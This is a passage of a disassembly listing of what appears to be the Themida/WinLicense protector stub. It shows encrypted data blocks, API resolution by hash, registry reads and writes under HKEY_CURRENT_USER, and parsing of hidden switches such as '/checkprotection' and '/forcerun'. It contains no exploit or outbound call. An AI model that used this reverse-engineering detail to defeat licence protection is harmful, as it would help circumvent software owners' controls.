		dd 3A2B7929h, 0A7AC7D35h, 3A5D0D59h, 2D903EAEh,	0E35F0BB9h
		dd 0D55D5291h, 0FC525D8Fh, 9053B8AAh, 52C0CF7Bh, 8A67954Bh
		dd 27458B7Fh, 0A484B28Bh, 5E000002h, 77B1E7E8h,	0F99FFF0h
		dd 297BD1DEh, 0C7613738h, 0DD460C03h, 56598938h, 0A9A6A600h
		dd 898641E3h, 0E8E761C3h, 771810A2h, 0C982ECC7h, 0B4C5C75Ch
		dd 0C748386Ch, 0D5AA27BEh, 0EF057583h, 9907737Ch, 2104EAA7h
		dd 885A8A4Ch, 0AE82191h, 3072949Ch, 1C483837h, 8383CB7Bh
		dd 442C58C9h, 929D4F95h, 5031FE07h, 135168Fh, 237h, 3E141BC9h
		dd 1A707FE4h, 0FC525D88h, 0DAB0BFAAh, 0C1979848h, 0D40CBD66h
		dd 333375DBh, 13CC563Ch, 72EC361Ch, 6D9D177Dh, 82EC3CEAh
		dd 2A5ACBC9h, 34DF0F65h, 7AE60708h, 0E9F31CCh, 85A3ADB1h
		dd 0FB56DA48h, 0BEB1AD1Dh, 0EE1C336Fh, 75CF9657h, 6FDB49C7h
		dd 0C7262915h, 62F51119h, 0D5A9F25Bh, 62B0E01Ch, 88A9EFE0h
		dd 0CC539727h, 0A84889F3h, 18E513AAh, 59FEAAD8h, 0C98370B3h
		dd 9E538DE7h, 837049F9h, 34A2DEC9h, 0D825537Ch,	0B24B44FCh
		dd 3E31364Ch, 0B1B1CB7Ah, 58B9D8BEh, 133B5C0Ch,	10C98371h
		dd 1C319E4h, 7183FF0Eh,	9EC56EF1h, 0A2CDF966h, 377E934h
		dd 35F86A02h, 831DF422h, 0D55C72C9h, 8B1FA09Fh,	8CC2708Ch
		dd 0C627281Ah, 3050532Dh, 7877F137h, 59569012h,	23C87844h
		dd 111ECA21h, 72A0B7E3h, 0F1C9838Ch, 7FC8D543h,	6ED81E29h
		dd 49F92B61h, 8F8C0A46h, 0C60A5C67h, 3730E981h,	1D267A69h
		dd 5F846FDBh, 78858AB4h, 8DB34AF8h, 12D1231Fh, 0D6D90B1Dh
		dd 0B6CC3CA2h, 0ACF6BAB5h, 1A62BBB4h, 1AC72629h, 0F3BFD06h
		dd 6ED84A00h, 0CFBD9C61h, 4A81F68Ch, 79EB2D36h,	44862076h
		dd 0FE6AB24Bh, 0E7BD2CF1h, 0A7A89A5Ch, 322591F1h, 11368D04h
		dd 67BDF503h, 46D90EE5h, 0C50D1C2Eh, 0E538B669h, 1330CD7Bh
		dd 9EB1E1B5h, 174728F1h, 748EFA76h, 2E2126CDh, 2AF361DFh
		dd 0AC1C4236h, 76B56522h, 8DE5C3A6h, 5C0C58A0h,	0C95692E0h
		dd 0FC4F01DCh, 0BC41FFD6h, 8521D146h, 8A261725h, 8433141Ch
		dd 811D391Fh, 70ED0773h, 36DD35EFh, 1F8D4B5Eh, 0C87A421Bh
		dd 0E33191C7h, 0A0906D62h, 0A7A89AC8h, 77BC8346h, 0EBA17B52h
		dd 0CB4CB858h, 0FB1A581Bh, 0C6C97828h, 0E78B3927h, 0F96883BDh
		dd 8E0878F6h, 52B07E6Bh, 8FF1B923h, 0D9242B15h,	939C4FA5h
		dd 62AE460Ah, 0EAE2818Dh, 7BEE347Ch, 0D4B4A974h, 66AB9553h
		dd 0C5D8D70Ch, 0C946F41Bh, 51DCFB19h, 0B828EAD3h, 60DCB453h
		dd 34A29E6Fh, 9456D086h, 861C029Bh, 11254D42h, 3, 4306863Bh
		dd 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh,	4A926B64h
		dd 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h, 81E18951h
		dd 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 89515C24h, 4C181E1h
		dd 83000000h, 0C8704E9h
		dd 14895C24h, 771F6824h, 3C890000h, 2C176824h, 4890000h
		dd 9B08B824h, 0C2890613h, 4EC8358h, 81242489h, 42404h
		dd 525F0000h, 60EDBD55h, 6C311AE0h, 8F5D0424h, 77810847h
		dd 0E060ED08h, 2434FF1Ah, 4C4815Fh, 8B000000h, 89562414h
		dd 4C681E6h, 83000000h,	348704C6h, 90E95C24h, 0EFFFFDDAh
		dd 0B1EA8B5Dh
		db 18h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_573F39:				; CODE XREF: sub_54D654:loc_573683j
		mov	eax, 613A2E6h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		dw 0D4F5h
		dd 30C82555h, 0FD6C0192h, 18E52915h, 965E0440h,	0FA69127Dh
		dd 4D01515h, 6CC53002h,	462E371Fh, 9E809A9h, 4A000000h
		dd 6FC7A872h, 6DBD9A76h, 94DD805Fh, 6EEBC781h, 6FBB0000h
		dd 3341282Fh, 28A0FF6h,	0B7000000h, 3E34FF29h, 58C0Fh
		dd 81660000h, 58C5F2C9h, 8E9h, 0F61DAB00h, 6D59FB0Eh, 6CC0812Bh
		dd 801AEA81h, 0E881E5F2h, 61A724D9h, 81CABF0Fh,	0B38EAAF0h
		dd 0A5B96649h, 0BA665028h, 48F985Eh, 0EE937h, 0BA6B0000h
		dd 210767A3h, 377C6BABh, 381B886Bh, 12E8h, 0F84E3C00h
		dd 7F12BC30h, 0C9AF7855h, 4E39761Ch, 80411193h,	835B02E2h
		dd 0D18A04EEh, 91B4FE81h, 850FFFFFh, 0FFFFFF81h, 8DE9F8B1h
		dd 60000000h, 711BD83h,	0F000611h, 584h, 78E900h, 6A0000h
		dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh
		dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h
		dd 51858D00h, 90061109h, 89509050h, 6A2434h, 0F7D95FFh
		dd 0C3610611h, 6D185C6h, 684D0611h, 3AD057A7h, 1240481h
		dd 0FF69651Fh, 110B09B5h, 0A6858D06h, 0FF06113Ah, 7D8589D0h
		dd 0E806110Fh, 8, 0CF39A92Eh, 0DA85EF15h, 0B58958F9h, 6110DD5h
		dd 6904C081h, 8D890000h, 6112A8Dh, 68h,	99B58B00h, 5B061115h
		dd 0F62BCF81h, 148B1711h, 68C0F18h, 29000000h, 112A4DB5h
		dd 0D7C28106h, 6659C393h, 0F281CE8Bh, 3CF7DE80h, 6840Fh
		dd 0EE810000h, 59D941D4h, 3B82EA81h, 148930A6h,	18D8918h
		dd 83061129h, 12E904EBh, 0A1000000h, 0F49B7EB3h, 50146F55h
		dd 9B735357h, 0A5EF35ABh, 88FB81D7h, 0FFFFF97h,	0FFFFA185h
		dd 0FE8B66FFh, 5C5C1EEBh, 49535C2Eh, 5C004543h,	535C2E5Ch
		dd 49565749h, 5C5C0044h, 544E5C2Eh, 454349h, 9D29C08Bh
		dd 611052Dh, 25F1BD83h,	75000611h, 3DBD8309h, 61124h, 53501974h
		dd 0FB8C08Bh, 89000004h, 111D4D85h, 299D8D06h, 0FF0613B2h
		dd 83585BD3h, 11243DBDh, 17740006h, 0FB85350h, 89000004h
		dd 111D4D85h, 189D8D06h, 0FF0613AFh, 6A585BD3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 278DC355h, 5E9h, 4C097900h, 816688C0h, 8BBD5EE7h, 6D8D8BC0h
		dd 0C6061103h, 1106D185h, 6A4306h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0F688BC3h, 0D6CFA484h
		dd 8B1B449Dh, 110DFDB5h, 4E8F806h, 0FC000000h, 50BC8E6Eh
		dd 56310F52h, 50585A59h, 448BF48Ah, 0F08B0424h,	8C0F008Bh
		dd 4, 86EFB966h, 4244489h, 11E958h, 0ABEC0000h,	0C3848C14h
		dd 6803B15h, 6D18A068h,	0FFA29CB4h, 110ED1B5h, 6E906h
		dd 68F00000h, 74699AFAh, 3AA6858Dh, 95290611h, 61114B1h
		dd 850FD0FFh, 15h, 9E8h, 0B9092C00h, 0F0771C18h, 0EE810E5Eh
		dd 56CE8A57h, 0D7BF0F5Ah, 1B8F0F50h, 60000000h,	9E9h, 37E83A00h
		dd 4B3C98E7h, 5E89FE3h,	3E000000h, 7DE923F2h, 489615Bh
		dd 6ACCB224h, 19B58B00h, 80061134h, 4E803D6h, 80000000h
		dd 51000000h, 505FCF8Ah, 0CF8B6660h, 24448B61h,	3CAEBF04h
		dd 8B03F6h, 65E010BAh, 24448969h, 50565104h, 5A310F52h
		dd 585E5F58h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	1C35545h, 31036AABh, 111EE9BDh,	3006A06h, 1132058Dh
		dd 0F036A06h, 582h, 0C957BA00h,	846849C4h, 50945393h, 61606052h
		dd 0BE310F61h, 7F560E2Dh, 3481585Ah, 53938424h,	0FAB70F54h
		dd 17C59589h, 9D8D0611h, 613A598h, 936CD280h, 0BE605250h
		dd 94F6FDAh, 0F616160h,	52506031h, 585A310Fh, 890Fh, 5A610000h
		dd 0CE95058h, 9D000000h, 43E2C83Bh, 2FB799EAh, 93EDCF01h
		dd 0FE9h, 0EE180B00h, 50CC87BEh, 1CC41E5Fh, 0D4638863h
		dd 8589D0FFh, 6112AC5h,	0D6850F40h, 66000002h, 3E19DF81h
		dd 0C98D3358h, 90061108h, 901DB550h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D8C35242h,	7E9FC165h, 12CD8D89h
		dd 6A0611h, 1F9D8589h, 27680611h, 52996FB6h, 5AF38B66h
		dd 59240481h, 0BF66904Ah, 840440Eh, 6E9036Ah, 0D1000000h
		dd 0F936D48Ah, 60006A50h, 0EE9h, 0F92C0400h, 0D3CE78BEh
		dd 0DE486089h, 0E91A5E24h, 10h,	51B001D6h, 97DC9EC9h, 0DAF60124h
		dd 2DAA3454h, 8B036A61h, 1133198Dh, 4E806h, 0
		dd 0FE9C000h, 58000000h, 1337B4DEh, 9A4CBBBAh, 3A5846CBh
		dd 0E850FA24h, 11h, 9F63017Bh, 0A6BA9A0h, 0E0335E7h, 0D39B7B9Eh
		dd 5E5660C4h, 448B5F61h, 8B0424h, 89F18B66h, 0BF042444h
		dd 6C9429BBh, 0A19D8D58h, 10613A5h, 111599BDh, 8B669306h
		dd 8B6650CEh, 6E893F2h,	1C000000h, 3D816B1Eh, 0CD8D8970h
		dd 5E06111Fh, 13E9D0FFh, 6E000000h, 6A6A6336h, 7CE3BAABh
		dd 69F6BECFh, 2233D378h, 0F407B56h, 1AC85h, 42BA6600h
		dd 0DE958DAh, 0D2000000h, 301120D9h, 23B1979Fh,	15B4C4F6h
		dd 265B589h, 0B6500611h, 2404894Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 10C35646h, 0AD053BB8h, 0BED38B66h
		dd 309E2B76h, 3160006Ah, 111B55B5h, 0CD686106h,	0E8D806B3h
		dd 7, 0D49FB709h, 0F14D235h, 584h, 1221B900h, 815F538Ch
		dd 4CB32404h, 0EE927F9h, 47000000h, 627B5788h, 2A671035h
		dd 64B3678Fh, 0F9036AB5h, 0C719D89h, 6A0611h, 0F8C0F56h
		dd 0E8000000h, 9, 0EE546464h, 0C8EA1002h, 0E8595E1Bh, 8
		dd 7CC2EF7Ch, 63404F3Ch, 1CAD952Bh, 6A5E0611h, 0DD950903h
		dd 0E8061128h, 4, 0C0000000h, 6650D18Bh, 448BF08Bh, 0B9660424h
		dd 8BECBDh, 13E9h, 0D5D52300h, 689F9BB7h, 0FD108B93h, 881287F4h
		dd 4FF843B8h, 4244489h,	0FE9h, 22ECE500h, 0D6518709h, 0FFF3497Fh
		dd 36045B5Dh, 0E5B58B58h, 8D061132h, 13A5AC9Dh,	0B9665006h
		dd 8B59F8C5h, 112DCD95h, 0B9669306h, 0E8504762h, 0Ah, 12D944EBh
		dd 0AA0CE4BAh, 800F1AB5h, 11h, 0BE8h, 958B3600h, 0DA0E6764h
		dd 6E3C8D3Ch, 89935F59h, 112D59B5h, 8BD0FF06h, 110F3DB5h
		dd 850F4006h, 3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 4C35747h, 8D8BFF55h, 6112C15h, 8E958h
		dd 0D5CA0000h, 51331836h, 2FE9548Ah, 89000001h,	11218585h
		dd 6AD88B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 76D6C352h, 0E9584B03h,	0Fh, 7E11C605h
		dd 0A7C73069h, 3038F183h, 0C6420A7Ch, 1106D185h, 8D894306h
		dd 61120F1h, 1435BD89h,	52680611h, 51BB71DBh, 2F1AB966h
		dd 2404815Eh, 5046F55h,	0D48A5953h, 0ED1B5FFh, 89510611h
		dd 1108DD9Dh, 858D5E06h, 6113AA6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0ABC35646h,	0D0FF6C3Ch, 0A6D8D8Bh
		dd 8B660611h, 830F50CAh, 5, 0D68B6657h,	241C895Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 16C35646h, 0B6990B71h
		dd 3B1958BBh, 35BD8974h, 0F061128h, 58Ah, 0B3E5BA00h, 0D0FF5B53h
		dd 83EA8166h, 0ADB5892Dh, 8D061125h, 1171979Dh,	1958B06h
		dd 0B8061112h, 1, 1599BD89h, 0E3FF0611h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 4AC35141h, 0F755D181h
		dd 0C18B4B18h, 1B41B52Bh, 0C08B0611h, 0F89B58Bh, 0BD830611h
		dd 61125F1h, 83097500h,	11243DBDh, 19740006h, 0C08B5350h
		dd 40FB8h, 49858900h, 8D06110Ah, 13B2909Dh, 5BD3FF06h
		dd 3DBD8358h, 61124h, 53501774h, 40FB8h, 49858900h, 8D06110Ah
		dd 13AF319Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7804201h, 7E920h, 5BCD0000h
		dd 59C4A1D4h, 0BA6660A0h, 880F5432h, 6,	22819531h, 29610611h
		dd 111B35BDh, 0E9C08B06h, 0AAh,	74666F53h, 65726177h, 6E69575Ch
		dd 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h
		dd 68430074h, 4F6B6365h, 57005455h, 694C6E69h, 736E6563h
		dd 72655665h, 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh
		dd 65766972h, 72655672h, 6E6F6973h, 6E695700h, 6563694Ch
		dd 4965736Eh, 6174736Eh, 65636Eh, 74697845h, 50006B4Fh
		dd 49636F72h, 7250004Eh, 554F636Fh, 78450054h, 4E497469h
		dd 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	13AD4C85h
		dd 48858D06h, 500613ADh, 0ACB2858Dh, 68500613h,	80000001h
		dd 0AD5895FFh, 196A0613h, 0AD4CB5FFh, 16A0613h,	858D006Ah
		dd 613ACE1h, 48B5FF50h,	0FF0613ADh, 110EC595h, 48B5FF06h
		dd 0FF0613ADh, 13AD5495h, 48B5FF06h, 0FF0613ADh, 11138595h
		dd 8589C306h, 613AD4Ch,	0AD48858Dh, 8D500613h, 13ACB285h
		dd 1685006h, 0FF800000h, 13AD5895h, 8D046A06h, 13AD4C85h
		dd 46A5006h, 858D006Ah,	613AD0Bh, 48B5FF50h, 0FF0613ADh
		dd 110EC595h, 48B5FF06h, 0FF0613ADh, 13AD5495h,	48B5FF06h
		dd 0FF0613ADh, 11138595h, 8589C306h, 613AD4Ch, 0AD48858Dh
		dd 8D500613h, 13ACB285h, 1685006h, 0FF800000h, 13AD5895h
		dd 8D046A06h, 13AD4C85h, 46A5006h, 858D006Ah, 613ACF3h
		dd 48B5FF50h, 0FF0613ADh, 110EC595h, 48B5FF06h,	0FF0613ADh
		dd 13AD5495h, 48B5FF06h, 0FF0613ADh, 11138595h,	8589C306h
		dd 613AD4Ch, 0AD48858Dh, 8D500613h, 13ACB285h, 1685006h
		dd 0FF800000h, 13AD5895h, 8D046A06h, 13AD4C85h,	46A5006h
		dd 858D006Ah, 613AD1Eh,	48B5FF50h, 0FF0613ADh, 110EC595h
		dd 48B5FF06h, 0FF0613ADh, 13AD5495h, 48B5FF06h,	0FF0613ADh
		dd 11138595h, 8589C306h, 613AD4Ch, 0AD48858Dh, 8D500613h
		dd 13ACB285h, 1685006h,	0FF800000h, 13AD5895h, 8D046A06h
		dd 13AD4C85h, 46A5006h,	858D006Ah, 613ACCEh, 48B5FF50h
		dd 0FF0613ADh, 110EC595h, 48B5FF06h, 0FF0613ADh, 13AD5495h
		dd 48B5FF06h, 0FF0613ADh, 11138595h, 0BD83C306h, 611006Dh
		dd 0B840F00h, 8B000000h, 11006D9Dh, 4CC38306h, 83C30389h
		dd 11006DBDh, 840F0006h, 0Bh, 6D9D8Bh, 0C3830611h, 0C3038950h
		dd 6DBD83h, 0F000611h, 0B84h, 6D9D8B00h, 83061100h, 38954C3h
		dd 6DBD83C3h, 61100h, 0B840Fh, 9D8B0000h, 611006Dh, 8958C383h
		dd 0BD83C303h, 611006Dh, 0B840F00h, 8B000000h, 11006D9Dh
		dd 5CC38306h, 0C3C30389h, 4C858960h, 8D0613ADh,	13AD4885h
		dd 858D5006h, 613ACB2h,	16850h,	95FF8000h, 613AD58h, 858D046Ah
		dd 613AD4Ch, 6A046A50h,	43858D00h, 500613ADh, 0AD48B5FFh
		dd 95FF0613h, 6110EC5h,	25F1BD83h, 0F000611h, 0C84h, 48B5FF00h
		dd 0FF0613ADh, 13AD5495h, 48B5FF06h, 0FF0613ADh, 11138595h
		dd 60C36106h, 0AD4C8589h, 858D0613h, 613AD48h, 0B2858D50h
		dd 500613ACh, 168h, 5895FF80h, 6A0613ADh, 4C858D04h, 500613ADh
		dd 6A046Ah, 0AD25858Dh,	0FF500613h, 13AD48B5h, 0C595FF06h
		dd 8306110Eh, 1125F1BDh, 840F0006h, 0Ch, 0AD48B5FFh, 95FF0613h
		dd 613AD54h, 0AD48B5FFh, 95FF0613h, 6111385h, 8960C361h
		dd 13AD4C85h, 48858D06h, 500613ADh, 0ACB2858Dh,	68500613h
		dd 80000001h, 0AD5895FFh, 46A0613h, 0AD4C858Dh,	6A500613h
		dd 8D006A04h, 13AD2C85h, 0B5FF5006h, 613AD48h, 0EC595FFh
		dd 0BD830611h, 61125F1h, 0C840F00h, 0FF000000h,	13AD48B5h
		dd 5495FF06h, 0FF0613ADh, 13AD48B5h, 8595FF06h,	61061113h
		dd 858960C3h, 613AD4Ch,	0AD48858Dh, 8D500613h, 13ACB285h
		dd 1685006h, 0FF800000h, 13AD5895h, 8D046A06h, 13AD4C85h
		dd 46A5006h, 858D006Ah,	613AD34h, 48B5FF50h, 0FF0613ADh
		dd 110EC595h, 0F1BD8306h, 61125h, 0C840Fh, 0B5FF0000h
		dd 613AD48h, 0AD5495FFh, 0B5FF0613h, 613AD48h, 138595FFh
		dd 0C3610611h, 4C858960h, 8D0613ADh, 13AD4885h,	858D5006h
		dd 613ACB2h, 16850h, 95FF8000h,	613AD58h, 858D046Ah, 613AD4Ch
		dd 6A046A50h, 3B858D00h, 500613ADh, 0AD48B5FFh,	95FF0613h
		dd 6110EC5h, 25F1BD83h,	0F000611h, 0C84h, 48B5FF00h, 0FF0613ADh
		dd 13AD5495h, 48B5FF06h, 0FF0613ADh, 11138595h,	60C36106h
		dd 0AD4C85C7h, 10613h, 858D0000h, 613AD48h, 0B2858D50h
		dd 500613ACh, 268h, 5895FF80h, 0B0613ADh, 0F840FC0h, 0C7000000h
		dd 13AD4C85h, 6, 4DE900h, 46A0000h, 0AD4C858Dh,	6A500613h
		dd 8D006A04h, 13ACC685h, 0B5FF5006h, 613AD48h, 0EC595FFh
		dd 0C00B0611h, 0F840Fh,	85C70000h, 613AD4Ch, 0
; ---------------------------------------------------------------------------
		jmp	loc_574DDB
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+613AD4Ch], 1


loc_574DDB:				; CODE XREF: Themida_:00574DCCj
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+6111385h]
		popa
		mov	eax, [ebp+613AD4Ch]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+613AD4Ch],	eax
		lea	eax, [ebp+613AD48h]
		push	eax
		lea	eax, [ebp+613ACB2h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+613AD58h]
		push	4
		lea	eax, [ebp+613AD4Ch]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+613ACC6h]
		push	eax
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+6110EC5h]
		cmp	dword ptr [ebp+61125F1h], 0
		jz	loc_574E48
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+613AD54h]


loc_574E48:				; CODE XREF: Themida_:00574E36j
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+6111385h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+613AD4Ch],	eax
		lea	eax, [ebp+613AD48h]
		push	eax
		lea	eax, [ebp+613ACB2h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+613AD58h]
		push	4
		lea	eax, [ebp+613AD4Ch]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+613ACD8h]
		push	eax
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+6110EC5h]
		cmp	dword ptr [ebp+61125F1h], 0
		jz	loc_574EAF
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+613AD54h]


loc_574EAF:				; CODE XREF: Themida_:00574E9Dj
		push	dword ptr [ebp+613AD48h]
		call	dword ptr [ebp+6111385h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61106D1h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+6111795h]
		call	dword ptr [ebp+6112271h]
		mov	[ebp+613AD58h],	eax
		mov	byte ptr [ebp+61106D1h], 52h
		push	902E00E5h
		push	dword ptr [ebp+6111795h]
		call	dword ptr [ebp+6112271h]
		mov	[ebp+613AD54h],	eax
		mov	byte ptr [ebp+61106D1h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+6111795h]
		call	dword ptr [ebp+6112271h]
		mov	[ebp+6110EC5h],	eax
		mov	byte ptr [ebp+61106D1h], 52h
		push	98781034h
		push	dword ptr [ebp+6111795h]
		call	dword ptr [ebp+6112271h]
		mov	[ebp+6111385h],	eax
		mov	byte ptr [ebp+61106D1h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+6111795h]
		call	dword ptr [ebp+6112271h]
		mov	[ebp+61117A9h],	eax
		jmp	loc_574FF1
; ---------------------------------------------------------------------------
		dd 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_574FF1:				; CODE XREF: Themida_:00574F53j
		cmp	dword ptr [ebp+613B412h], 0
		jz	loc_575008
		mov	dword ptr [ebp+611243Dh], 1


loc_575008:				; CODE XREF: Themida_:00574FF8j
		mov	byte ptr [ebp+61106D1h], 47h
		call	sub_575018
		lea	ebp, [ebp+ebp*2-70h]

; =============== S U B	R O U T	I N E =======================================



sub_575018	proc near		; CODE XREF: Themida_:0057500Fp

; FUNCTION CHUNK AT 00575370 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057559C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00575690 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005756A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00578E7C SIZE 00000011 BYTES

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_575061
		inc	edi
		mov	al, 22h


loc_575042:				; CODE XREF: sub_575018+2Bj
		scasb
		jnz	loc_575042
		cmp	byte ptr [edi],	0
		jz	loc_575370
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_575370
		jmp	loc_57507F
; ---------------------------------------------------------------------------


loc_575061:				; CODE XREF: sub_575018+21j
					; sub_575018+62j
		cmp	byte ptr [edi],	0
		jz	loc_575370
		cmp	byte ptr [edi],	20h
		jnz	loc_575079
		inc	edi
		jmp	loc_57507F
; ---------------------------------------------------------------------------


loc_575079:				; CODE XREF: sub_575018+55j
		inc	edi
		jmp	loc_575061
; ---------------------------------------------------------------------------


loc_57507F:				; CODE XREF: sub_575018+44j
					; sub_575018+5Cj ...
		cmp	byte ptr [edi],	0
		jnz	loc_57508D
		jmp	loc_575370
; ---------------------------------------------------------------------------


loc_57508D:				; CODE XREF: sub_575018+6Aj
		jmp	loc_575093
; ---------------------------------------------------------------------------


loc_575092:				; CODE XREF: sub_575018+7Ej
		inc	edi


loc_575093:				; CODE XREF: sub_575018:loc_57508Dj
		cmp	byte ptr [edi],	20h
		jz	loc_575092
		cmp	byte ptr [edi],	0
		jnz	loc_5750AA
		jmp	loc_575370
; ---------------------------------------------------------------------------


loc_5750AA:				; CODE XREF: sub_575018+87j
		call	sub_5750B9
		jmp	loc_57507F
sub_575018	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_575370

; =============== S U B	R O U T	I N E =======================================



sub_5750B9	proc near		; CODE XREF: sub_575018:loc_5750AAp
		lea	esi, [ebp+613B392h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_5750E2
		mov	dword ptr [ebp+61125F1h], 1
		retn
; ---------------------------------------------------------------------------


loc_5750E2:				; CODE XREF: sub_5750B9+18j
		lea	esi, [ebp+613B39Dh]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_57510B
		mov	dword ptr [ebp+611243Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_57510B:				; CODE XREF: sub_5750B9+41j
		lea	esi, [ebp+613B416h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575134
		mov	dword ptr [ebp+6110711h], 1
		retn
; ---------------------------------------------------------------------------


loc_575134:				; CODE XREF: sub_5750B9+6Aj
		lea	esi, [ebp+613B3A7h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_57515D
		mov	dword ptr [ebp+611243Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_57515D:				; CODE XREF: sub_5750B9+93j
		lea	esi, [ebp+613B3B1h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575190
		mov	dword ptr [ebp+611243Dh], 1
		mov	dword ptr [ebp+61125F1h], 1
		retn
; ---------------------------------------------------------------------------


loc_575190:				; CODE XREF: sub_5750B9+BCj
		lea	esi, [ebp+613B3BFh]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_5751B8
		mov	dword ptr [ebp+6110E65h], 1


loc_5751B8:				; CODE XREF: sub_5750B9+EFj
		lea	esi, [ebp+613B3C9h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_5751E0
		mov	dword ptr [ebp+6110E65h], 1


loc_5751E0:				; CODE XREF: sub_5750B9+117j
		lea	esi, [ebp+613B3D4h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575208
		mov	dword ptr [ebp+6111BE5h], 1


loc_575208:				; CODE XREF: sub_5750B9+13Fj
		lea	esi, [ebp+613B3DAh]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575230
		mov	dword ptr [ebp+6110041h], 1


loc_575230:				; CODE XREF: sub_5750B9+167j
		lea	esi, [ebp+613B3E0h]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575258
		mov	dword ptr [ebp+611282Dh], 1


loc_575258:				; CODE XREF: sub_5750B9+18Fj
		lea	esi, [ebp+613B3EEh]
		call	sub_5752E9
		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_575280
		mov	dword ptr [ebp+611349Dh], 1


loc_575280:				; CODE XREF: sub_5750B9+1B7j
		lea	esi, [ebp+613B3FBh]
		call	sub_5752E9
		add	edi, [ebp+613B427h]


loc_575291:				; DATA XREF: sub_56207C+94A6o
					; sub_56207C+94A1o
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_5752A8
		mov	dword ptr [ebp+6113039h], 1


loc_5752A8:				; CODE XREF: sub_5750B9+1DFj
		lea	esi, [ebp+613B406h]
		call	sub_5752E9
